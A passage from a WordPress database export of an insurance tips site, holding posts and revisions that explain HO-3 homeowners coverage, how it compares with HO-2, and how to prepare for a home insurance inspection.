Loss of Use</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">This coverage helps pay any additional living expenses such as meals and housing if your home is rendered uninhabitable. Insurers limit this coverage to 20% of your dwelling coverage. Insurance companies typically don’t reimburse you for all living expenses. They pay only for the difference between your normal living expenses and extra living expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-35\">Coverage E: Personal Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">This coverage helps offset your financial losses if you’re sued or deemed legally responsible for damages or injuries to others. You are not covered in situations where you acted intentionally. You choose your coverage limits for personal liability, which is usually a minimum of $100,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-38\">Coverage F: Medical Payments&nbsp;</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">This coverage pays medical bills for people who are accidentally hurt on your property. Coverage doesn’t apply to those who live in your home. You can choose your coverage limits, which generally must be at least $1,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Some insurance companies offer more comprehensive coverage by adding policy riders that delete specific exclusions from the HO-3 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-42\">HO-2 vs. HO-3 Homeowners Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-43\">Whether you own or rent, you can choose from various packages of home insurance available to protect your home and possessions. Each package protects against specific perils.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-45\">Insurance carriers sometimes write and file customized policies. Insurers who don’t file their own policies use standard forms available from rating organizations such as the Insurance Services Office Inc. (ISO).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">Again, Insurance companies will typically avail two approaches to insuring your property: the named-peril policy approach and the open-peril policy approach, which are represented by HO-2 and HO-3 homeowners insurance, respectively.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">The named-peril policy is a lower-cost approach that names all events you are insured against in the event of a loss. The&nbsp;open-peril policy&nbsp;is a higher-cost approach that, while alluding to unlimited coverage, names exclusions you’re not insured against.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: With a named-peril policy, the policyholder must prove a covered peril caused damage to their property. With an open-peril policy, the insurer must prove an exclusion applies to the event that resulted in damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-52\">An HO-2 policy, which is also referred to as the Broad Form, is a basic homeowners insurance that covers perils listed on an HO-1 policy plus additional perils. Your dwellings, other structures, and personal property are covered against perils explicitly named in the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-54\">An HO-3 policy is the most widely used form of homeowners insurance. It protects against all risks to your dwelling (and other structures) except those specifically excluded. However, your personal property is insured on a named-perils basis—that is, against damage or loss caused by perils listed in an HO-2 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>HO-2 Homeowners Insurance</strong>&nbsp;</td><td><strong>HO-3 Homeowners Insurance</strong></td></tr><tr><td>Less expensive</td><td>More expensive</td></tr><tr><td>Less expansive coverage</td><td>More expansive coverage</td></tr><tr><td>Names the specific perils you’re insured against</td><td>Specifies the exclusions that you won’t receive compensation for in case of damage or loss</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0-5\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>An HO-3 homeowners insurance policy pays for all causes of loss to your dwelling and other structures, except when the loss is caused by an excluded peril.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An HO-3 homeowners insurance policy combines the features of an open-peril policy and named-peril policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An HO-3 policy insures your personal property against perils specifically named in the contract.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.thebalancemoney.com/what-is-an-ho-3-homeowners-insurance-policy-5207153\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is an HO-3 Homeowners Insurance Policy?','','publish','closed','closed','','what-is-an-ho-3-homeowners-insurance-policy','','','2024-06-08 00:27:47','2024-06-08 00:27:47','',0,'https://smartinsurance.tips/?p=4079',0,'post','',0),(4080,1,'2024-05-20 04:16:54','2024-05-20 04:16:54','','Untitled-16','','inherit','closed','closed','','untitled-16-4','','','2024-05-20 04:16:54','2024-05-20 04:16:54','',4079,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-16.png',0,'attachment','image/png',0),(4081,1,'2024-05-20 04:19:55','2024-05-20 04:19:55','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4080,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-16-1024x1024.png\" alt=\"\" class=\"wp-image-4080\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>DEFINITION</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>An HO-3 homeowners insurance policy is a form of home insurance that provides coverage for damage to your dwelling, other structures on the property, personal property, loss of use, personal liability, and medical payments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">An HO-3 homeowners insurance policy is the most common type of homeowners insurance, covering all causes of damage to the main dwelling and other structures except those specifically excluded in the policy, such as floods and earthquakes. Other homeowners insurance policies are typically a variation of an HO-3 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-2\">Learn more about HO-3 homeowners insurance policies, how they work, and how they differ from other homeowners insurance forms.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-4\">Definition and Examples of an HO-3 Homeowners Insurance Policy</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-5\">An HO-3 homeowners insurance policy is a form of home insurance that provides coverage for damage to your dwelling, other structures on the property, personal property, loss of use, personal liability, and medical payments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">All perils, or causes of loss, are covered for damage to your home and other structures, except those that are specifically named on the policy as exclusions. Exclusions might include earthquakes, floods, wear and tear, neglect, and damage caused by freezing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-9\"><!-- wp:list-item -->\n<li><strong>Alternate name</strong>: Special Form Policy</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Note: Coverage for your home and other structures is written on an “all-risk basis” ( everything except named exclusions is covered). Personal property, or the contents of your home, is covered on a “named-peril basis” (only damages from perils named are covered).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-12\">How an HO-3 Homeowners Insurance Policy Works</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-13\">Insurance polices are designed to cover damage to property if the loss was caused by a covered peril.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">Homeowners insurance policies vary according to the types of property and the number of perils they cover. Policies are typically considered \"open-perils,\" which covers all causes of loss unless excluded, or \"named-perils,\" which covers only specified sources of loss.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-17\">A common type of homeowners insurance is one that combines attributes of both types—the special form, or HO-3, homeowners insurance policy. An HO-3 homeowners insurance policy, like other homeowners policies, has two parts: Section I (coverages A, B, C, and D) for your property and Section II (coverages E and F) for liabilities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-19\">Here’s a description of each individual coverage and the general limits most insurers will provide:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-21\">Coverage A: Your Dwelling</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">Dwelling coverage pays for damage to your house and any structures attached to it, including plumbing fixtures, electrical wiring, and HVAC systems. Damage must be a result of a covered peril. The limit of your dwelling coverage should be at least 80% or equal to your home’s full replacement cost.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Property damage to your dwelling and any other structures at your residence, is covered on an open-perils basis. An insurer will reimburse you for losses to your property except those as a result of perils specifically excluded in the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Coverage B: Other Structures</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">Coverage B pays for damage to structures on your property that are not attached to your house. Covered structures include free-standing garages, sheds, fences, and guest cottages among others. Insurers limit this coverage to 10% of your dwelling coverage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-28\">Coverage C: Personal Property</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-29\">This coverage reimburses you for the value of the contents of your home, possessions owned by you and people who live with you. Coverage may also include items lost or damaged outside your premises. The coverage limit is usually 50% of your dwelling coverage or any amount agreed on between you and your insurer. Coverage may not include some types of high-value items, also known as scheduled personal property. In an HO-3 policy, coverage for personal property is limited to named perils.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: The contents of your home are covered on a named-peril basis. These perils are listed in the broad form HO-2, which is an HO-2 insurance policy. They include damage from lightning, fire, and theft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-32\">Coverage D: Loss of Use</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">This coverage helps pay any additional living expenses such as meals and housing if your home is rendered uninhabitable. Insurers limit this coverage to 20% of your dwelling coverage. Insurance companies typically don’t reimburse you for all living expenses. They pay only for the difference between your normal living expenses and extra living expenses.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-35\">Coverage E: Personal Liability</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">This coverage helps offset your financial losses if you’re sued or deemed legally responsible for damages or injuries to others. You are not covered in situations where you acted intentionally. You choose your coverage limits for personal liability, which is usually a minimum of $100,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-38\">Coverage F: Medical Payments&nbsp;</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">This coverage pays medical bills for people who are accidentally hurt on your property. Coverage doesn’t apply to those who live in your home. You can choose your coverage limits, which generally must be at least $1,000.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: Some insurance companies offer more comprehensive coverage by adding policy riders that delete specific exclusions from the HO-3 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-42\">HO-2 vs. HO-3 Homeowners Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-43\">Whether you own or rent, you can choose from various packages of home insurance available to protect your home and possessions. Each package protects against specific perils.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-45\">Insurance carriers sometimes write and file customized policies. Insurers who don’t file their own policies use standard forms available from rating organizations such as the Insurance Services Office Inc. (ISO).&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">Again, Insurance companies will typically avail two approaches to insuring your property: the named-peril policy approach and the open-peril policy approach, which are represented by HO-2 and HO-3 homeowners insurance, respectively.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-49\">The named-peril policy is a lower-cost approach that names all events you are insured against in the event of a loss. The open-peril policy is a higher-cost approach that, while alluding to unlimited coverage, names exclusions you’re not insured against.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: With a named-peril policy, the policyholder must prove a covered peril caused damage to their property. With an open-peril policy, the insurer must prove an exclusion applies to the event that resulted in damage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-52\">An HO-2 policy, which is also referred to as the Broad Form, is a basic homeowners insurance that covers perils listed on an HO-1 policy plus additional perils. Your dwellings, other structures, and personal property are covered against perils explicitly named in the policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-54\">An HO-3 policy is the most widely used form of homeowners insurance. It protects against all risks to your dwelling (and other structures) except those specifically excluded. However, your personal property is insured on a named-perils basis—that is, against damage or loss caused by perils listed in an HO-2 policy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:table -->\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>HO-2 Homeowners Insurance</strong>&nbsp;</td><td><strong>HO-3 Homeowners Insurance</strong></td></tr><tr><td>Less expensive</td><td>More expensive</td></tr><tr><td>Less expansive coverage</td><td>More expansive coverage</td></tr><tr><td>Names the specific perils you’re insured against</td><td>Specifies the exclusions that you won’t receive compensation for in case of damage or loss</td></tr></tbody></table></figure>\n<!-- /wp:table -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0-5\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>An HO-3 homeowners insurance policy pays for all causes of loss to your dwelling and other structures, except when the loss is caused by an excluded peril.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An HO-3 homeowners insurance policy combines the features of an open-peril policy and named-peril policy.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>An HO-3 policy insures your personal property against perils specifically named in the contract.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/what-is-an-ho-3-homeowners-insurance-policy-5207153\">click here.</a></p>\n<!-- /wp:paragraph -->','What Is an HO-3 Homeowners Insurance Policy?','','inherit','closed','closed','','4079-revision-v1','','','2024-05-20 04:19:55','2024-05-20 04:19:55','',4079,'https://smartinsurance.tips/?p=4081',0,'revision','',0),(4082,1,'2024-05-20 04:26:12','2024-05-20 04:26:12','<!-- wp:paragraph -->\n<p>Your insurance company may require a home inspection to cover you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4153,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/06/Untitled-17-1024x1024.png\" alt=\"\" class=\"wp-image-4153\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Buying a home means checking off a long list of to-dos, including getting an&nbsp;appraisal&nbsp;and a&nbsp;home inspection. These steps can ensure that the home is worth the amount you plan to borrow for it and that it’s in good shape before you commit to buying. A home inspection shouldn’t be confused with a home insurance inspection, however. A home insurance inspection is something your&nbsp;homeowners insurance&nbsp;company may require as a condition of getting covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A home insurance inspection is different from a home inspection, which is designed to check for underlying structural issues in the home.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your insurance company may require a home insurance inspection before approving your application for coverage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You may be more likely to need a home inspection if the home is located in an area that’s at high risk for natural disasters, such as hurricanes or earthquakes.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The home insurance inspection helps your insurer to accurately determine the replacement cost of the property and its contents.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_5-0\">What Is a Home Insurance Inspection?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_6-0\">As mentioned, a home insurance inspection is separate from a typical home inspection. When you schedule a home inspection,&nbsp;it’s usually for your own peace of mind. For example, you may want to be sure that the home has no major structural issues, such as a cracked foundation or damaged wiring. A certified home inspector can examine the home inside and out to look for any issues and summarize them in a report.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_8-0\">Home inspections aren’t always required by mortgage lenders, though an appraisal is, in order to establish the property’s value. Mortgage lenders typically don’t ask for a home insurance inspection either; this is usually requested by the company through which you’re attempting to purchase homeowners insurance.&nbsp;However, whether you’re getting a regular home inspection, a home insurance inspection, or an appraisal, you’re responsible for paying the cost out of pocket.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_10-0\">A home insurance inspection allows the insurance company to gauge the home’s&nbsp;replacement cost. This is also how the insurance company assesses risk to determine the likelihood that you’ll need to file a claim for damages and calculates your estimated premium costs. A home inspection may be more common if you’re buying an older home or a home in an area that’s&nbsp;prone to natural disasters, such as hurricanes, earthquakes, or forest fires.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, in Florida and some Gulf Coast states, homeowners can go through a wind mitigation inspection. This type of inspection looks specifically at what efforts are in place to mitigate wind damage to a home that’s being covered. Insurance companies can offer discounts on coverage for homeowners who undergo this type of inspection and show that they’ve mitigated wind damage risk.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Important: Separate pest and septic tank inspections may also be necessary when buying a home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_16-0\">What a Home Insurance Inspection Covers</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_17-0\">In most cases your homeowners insurance company may do a visual inspection of the home’s exterior. This allows it to check out the condition of doors, windows, roofing, and additional structures on the property.&nbsp;If the insurance company decides that a more detailed inspection is necessary, it will also take a look inside the home.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_19-0\">Every inspection is different, but generally the inspector will be assessing things such as:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_21-0\"><!-- wp:list-item -->\n<li>The condition and age of the roof</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Any exterior hazards that could potentially lead to damage, such as overhanging trees&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Exterior items that could be damaged, such as sidewalks, lighting fixtures, or separate buildings on the property</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Interior and exterior drainage systems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The condition of the basement, if you have one, and the foundation</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Plumbing systems</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The age and condition of the home’s electrical system</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Home appliances</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The condition of flooring and walls</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Attic spaces and crawl spaces</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Anti-theft measures, such as a home security system or deadbolts</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Smoke and carbon monoxide detectors</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>The age and condition of the HVAC system</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Chimneys and fireplaces, if you have them</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_23-0\">Overall, the goal is to assess both risk and replacement cost if the home ends up being damaged. You may not need to be at home for the exterior part of the inspection if the insurance company only wants to look at the outside, but you\'ll need to be present for the interior inspection if one is requested. The time frame can be as much as two hours.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tip: If your insurance company wants to do a complete home insurance inspection or you decide to request one, expect it to take a couple of hours to complete.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_27-0\">How to Prepare for a Home Insurance Inspection</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_28-0\">If you’re scheduled for a home insurance inspection, there are some things you can do to get ready for it. By doing a little prep work, you can spot any issues that are likely to show up in the inspection, so you’re not caught off guard.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_30-0\">Preparing for a home insurance inspection on the exterior:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_32-0\"><!-- wp:list-item -->\n<li>Check your roof for any loose or missing shingles.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you have gutters, check to see if they’re secured to the home properly and clear out any debris.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check the foundation for cracks or other signs of weakening.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>If you have a chimney, check it for cracks or loose bricks and consider getting it professionally cleaned.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Trim any overhanging branches or dead limbs that could present a hazard to roofing or other parts of the home.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check your siding, doors, and windows for cracks, leaks, and signs of water damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look for any potential hazards, such as an uneven sidewalk that could cause someone to get injured on the property.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_34-0\">Preparing for a home insurance inspection on the inside:&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_36-0\"><!-- wp:list-item -->\n<li>Check your smoke detectors and carbon monoxide detectors to make sure they’re working properly.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check your home’s fire extinguisher to make sure it’s operational.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Clean out your fireplace and its flue, if you have one.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Check around windows and doors on the inside to look for leaks or signs of termite damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look in the attic and basement for signs of any water or pest damage.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Consider cleaning your HVAC system and testing it to make sure it’s working properly.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look under sinks and around faucets, showerheads, and toilets for signs of leaks.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Inspect the walls to look for cracks or bowing, which could suggest foundation or roof issues.&nbsp;</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Important: If your homeowners insurance company decides a home insurance inspection is necessary, it may wait until after you close on the home to schedule the inspection.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_40-0\">What to Do if You’re Denied for Home Insurance</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_41-0\">If your home insurance inspection turns up some serious issues with the property, your insurance company may decide that it’s too much of a risk to cover you. In that scenario you may have a few options.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_43-0\">First, you could make any necessary repairs the insurance company requests as a condition of getting covered. That could mean replacing the roof or hot water heater or repaving the driveway.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_45-0\">If that doesn’t work, you can look for coverage through a company that specializes in high-risk properties. You’ll likely pay more for homeowners insurance than you would ordinarily, but it may be the only way to get coverage for a home with damage or structural issues.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_47-0\">A third possibility is getting the home covered under Fair Access Insurance Plans. FAIR plans are state-run programs that offer insurance for high-risk homeowners or help them find coverage. This could help you get covered if you’ve exhausted all other options. Keep in mind, however, that not every state offers a FAIR plan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article,&nbsp;<a href=\"https://www.investopedia.com/how-to-prepare-for-a-home-insurance-inspection-5074113\">click here.</a></p>\n<!-- /wp:paragraph -->','How to Prepare for a Home Insurance Inspection','','publish','closed','closed','','how-to-prepare-for-a-home-insurance-inspection','','','2024-06-08 00:30:51','2024-06-08 00:30:51','',0,'https://smartinsurance.tips/?p=4082',0,'post','',0),(4083,1,'2024-05-20 04:24:04','2024-05-20 04:24:04','','Untitled-17','','inherit','closed','closed','','untitled-17-6','','','2024-05-20 04:24:04','2024-05-20 04:24:04','',4082,'http://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-17.png',0,'attachment','image/png',0),(4084,1,'2024-05-20 04:26:12','2024-05-20 04:26:12','<!-- wp:paragraph -->\n<p>Your insurance company may require a home inspection to cover you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":4083,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/05/Untitled-17-1024x1024.png\" alt=\"\" class=\"wp-image-4083\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">Buying a home means checking off a long list of to-dos, including getting an appraisal and a home inspection. These steps can ensure that the home is worth the amount you plan to borrow for it and that it’s in good shape before you commit to buying. A home inspection shouldn’t be confused with a home insurance inspection, however. A home insurance inspection is something your homeowners insurance company may require as a condition of getting covered.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">KEY TAKEAWAYS</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A home insurance inspection is different from a home inspection, which is designed to check for underlying structural issues in the home.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Your insurance company may require a home insurance inspection before approving your application for coverage.&nbsp;</li>\n<!-- /wp:list-item 